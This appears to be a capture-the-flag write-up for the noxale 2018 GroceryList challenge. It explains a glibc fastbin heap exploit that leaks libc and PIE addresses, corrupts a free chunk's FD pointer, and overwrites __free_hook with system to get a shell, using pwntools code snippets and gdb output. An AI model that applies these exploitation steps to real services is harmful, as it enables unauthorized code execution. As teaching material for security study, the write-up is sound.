In this challenge, we are given a service IP and PORT, to which we can connect using netcat
or any similar tool.
We are also provided with an ELF
file.
The task description is the following:
I really hate it when I forget what I wanted to buy.
That’s why I created the FASTEST Grocery List in the world.
Go check it out.
nc chal.noxale.com 1232
I really enjoyed the GroceryList challenge of #noxale CTF.
— Assel Meher (@segfl0w) September 9, 2018
Here is my writeup for it https://t.co/F3rKe1T1PS
The file is a 64 bits Linux executable with all protections enabled:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
To get a feeling what the binary is doing, I played with it a little bit.
What would you like to do?
1. Print the list
2. Add item to the list
3. Add empty items to the list
4. Remove an item from the list
5. Edit an existing item
6. Add default example
7. Exit
2
What is the size of your item?
1. Small
2. Medium
3. Large
1
Enter your item`s name:
Test
What would you like to do?
1. Print the list
2. Add item to the list
3. Add empty items to the list
4. Remove an item from the list
5. Edit an existing item
6. Add default example
7. Exit
The binary allows us to create/edit/delete and batch create items. Reversing the main loop using IDA
the code looks like:
int choice;
char def_item[12] = "Grocery Item";
do {
puts_("What would you like to do?");
puts_("1. Print the list");
puts_("2. Add item to the list");
puts_("3. Add empty items to the list");
puts_("4. Remove an item from the list");
puts_("5. Edit an existing item");
puts_("6. Add default example");
puts_("7. Exit");
fflush(stdin);
scanf("%d", &choice);
switch ( choice ) {
case 1:
dump_items();
break;
case 2:
add_item();
break;
case 3:
add_empty_items();
break;
case 4:
delete_item();
break;
case 5:
edit_item();
break;
case 6:
add_default_item(def_item);
break;
case 7:
puts_("Goodbye\n");
free_all();
break;
default:
puts("Invalid choice");
break;
}
} while ( choice != 7 );
At maximum, we can only have 20 items, which are malloc
‘ed and stored in a global array that resides within the .bss
segment of the binary.
There is 3 types of items: small = 0x10
, medium = 0x38
, and large = 0x60
.
We notice that all the sizes are within the fast bins
size range so we will be dealing with fast bins only. Now we understand why the word FASTEST was in bold in the challenge description ;).
Content reading is done using gets
, which is known to be insecure because it doesn’t do any bound check. This allows us to write out of the malloc’ed item chunks and thus overwriting stuff.
Fastbin Attack
Based on the information we have, and what we can do, we can see that this is a typical fastbin attack, where we need to overwrite a free chunk FD pointer by a fake one that we can use to achieve an arbitrary read/write.
But since PIE
and ASLR
are enabled, we need to defeat them first by leaking some addresses.
We know that small bins
will have a pointer to main_arena
in their FD and BK pointers once free’ed, so if we manage to craft a fake smallbin
, free it and then create a new empty item, the item will be located in the same region as the previously free’ed fake smallbin, so by printing the item we would have leaked a libc
address. To do so, we can overwrite into a chunk metadata to corrupt it’s size
field and make it looks like a smallbin
.
The function I used to do the leak looks as follow:
def getheapleak():
add_item(1, "AAAAAAA")
add_item(3, "AAAAAAA")
add_item(3, "AAAAAAA")
add_item(1, "AAAAAAA")
fake_chunk = "A"*24 + p64(0xe1)
edit_item(0, fake_chunk)
delete_item(1)
add_empty_items(2, 1)
r.sendline("1")
r.recvuntil("3. ")
leak = r.recvline(keepends=False)
leak = leak + ("\x00" * (8 - len(leak)))
r.recvuntil("Exit\n")
return u64(leak)
With the leaked address we can locate libc
base address and the binary PIE
base. Thus defeating both ASLR
and PIE
.
The next step is to free an item so that the fastbin
list get populated and then overwrite the free’ed item (by editing the previous one) FD pointer by a fake chunk.
add_empty_items(1, 4)
delete_item(7)
Now our fastbin contains this:
0x20: 0x5555557584e0 ◂— 0x0 # the just free'ed item
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Since FD needs to point to a valid fastbin chunk that has the size 0x20, this will put some limitations to what we can write, the validation check done by libc
is as follow:
- if a chunk
A
is in a fastbin list of sizeX
, thenA->size >> 4 - 2
needs to be equal toX
This looks like a hard condition to fulfill, but it’s pretty easy to find such a valid fake chunk. Since the size
field is at offset 8
of the struct, we need to find an address A
such as the data at A + 8
contains a valid chunk size.
powered by gdb
I did find a valid address that fulfills that condition. And guess what? it’s only 3 bytes far from the global items_list
array
pwndbg> x/5gx 0x55555575602d
0x55555575602d: 0xaaab0978e0000000 0x000000000000002a
0x55555575603d: 0x5555758430000000 0x55557584c0000055
0x55555575604d: 0x5555758530000055
pwndbg> x/10gx 0x5555557584c0
0x5555557584c0: 0x0041414141414141 0x0000000000000021 <- item 6
0x5555557584d0: 0x00002aaaab097b78 0x00002aaaab097b78
0x5555557584e0: 0x0000000000000000 0x0000000000000021 <- item 7 (0x5555557584f0 is what we want to corrupt)
0x5555557584f0: 0x0000000000000000 0x00002aaaab097ba8
0x555555758500: 0x0000000000000000 0x0000000000000021
With that, we can edit the 6’th item to corrupt the FD of the 7th item.
fake_fast_chunk = pie_base + 0x20202d
payload = "B" * 16 # Fill current chunk
payload += p64(0) # Prev size
payload += p64(0x21) # Chunk size (keep the old one)
payload += p64(fake_fast_chunk) # FD pointer
edit_item(6, payload)
pwndbg> fastbins
0x20: 0x5555557584e0 —▸ 0x55555575602d (our fake chunk) ◂— 0x5555758430000000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
pwndbg> x/10gx 0x5555557584c0
0x5555557584c0: 0x0000000000000000 0x0000000000000021 <- item 6
0x5555557584d0: 0x4242424242424242 0x4242424242424242
0x5555557584e0: 0x0000000000000000 0x0000000000000021 <- item 7
0x5555557584f0: 0x000055555575602d 0x00002aaaab097b00
0x555555758500: 0x0000000000000000 0x0000000000000021
Now if we allocate 2 new items (small size), the second one will be at our fake chunk. Since our fake chunk is 3 bytes before the global items_list
array, by editing it we will place fake addresses in the items_list
.
We will use that to insert fake items address into the items_list
, and thus have arbitrary read/write since we can print and edit items.
We cannot edit a GOT entry since the binary is Full RELRO
, so the plan was to overwrite the pointer __free_hook
with the address of system
, which will make any call to free(SOMETHING)
also calls system(SOMETHING)
.
To do this we need to have system
and __free_hook
addresses. By leaking the addresses of two different libc
functions we can know what libc
version is being used and thus calculate the addresses of both system
and __free_hook
, I went for leaking the addresses of puts
and getchar
overwrite = "PAD"
overwrite += p64(pie_base + e.got['puts']) # items[0]
overwrite += p64(pie_base + e.got['getchar']) # items[1]
edit_item(8, overwrite)
r.sendline("1")
r.recvuntil("0. ")
leak = r.recvline(keepends=False)
puts = u64(leak.ljust(8, "\x00"))
r.recvuntil("1. ")
leak = r.recvline(keepends=False)
getchar = u64(leak.ljust(8, "\x00"))
Running it we get:
> $ python exploit.py
[*] '/MacOsHome/Desktop/CTFs/noxale-2018/grocery_list/GroceryList'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './GroceryList': pid 4407
[!] ASLR is disabled!
[4407]
[*] Heap leak : 0x2aaaab097c48
[*] PIE Base : 0x555555554000
[*] LIBC base : 0x2aaaaacd3000
[*] items bss : 0x555555756040
[*] Fake Fast chunk: 0x55555575602d
[*] puts : 0x2aaaaad42690
[*] getchar : 0x2aaaaad49160
Using libc_search we now know that the libc being used is 2.23-ubuntu and that the offsets of system
and __free_hook
are 0x45390
and 0x3c67a8
respectively.
Now we just need to place __free_hook
in items[0]
using the same trick as before and edit it to write the address of system
.
The following python code is the final exploit. I’m using Pwntools to do this since it makes network programming much more easy and funny.
> $ python exploit.py
[*] '/MacOsHome/Desktop/CTFs/noxale-2018/grocery_list/GroceryList'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './GroceryList': pid 4407
[!] ASLR is disabled!
[4407]
[*] Heap leak : 0x2aaaab097c48
[*] PIE Base : 0x555555554000
[*] LIBC base : 0x2aaaaacd3000
[*] items bss : 0x555555756040
[*] Fake Fast chunk: 0x55555575602d
[*] puts : 0x2aaaaad42690
[*] getchar : 0x2aaaaad49160
[*] system : 0x2aaaaad18390
[*] __free_hook : 0x2aaaab0997a8
[*] Switching to interactive mode
Which item would you like to remove?
$ uname -a
Linux pwnbox 4.9.87-linuxkit-aufs #1 SMP Wed Mar 14 15:12:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux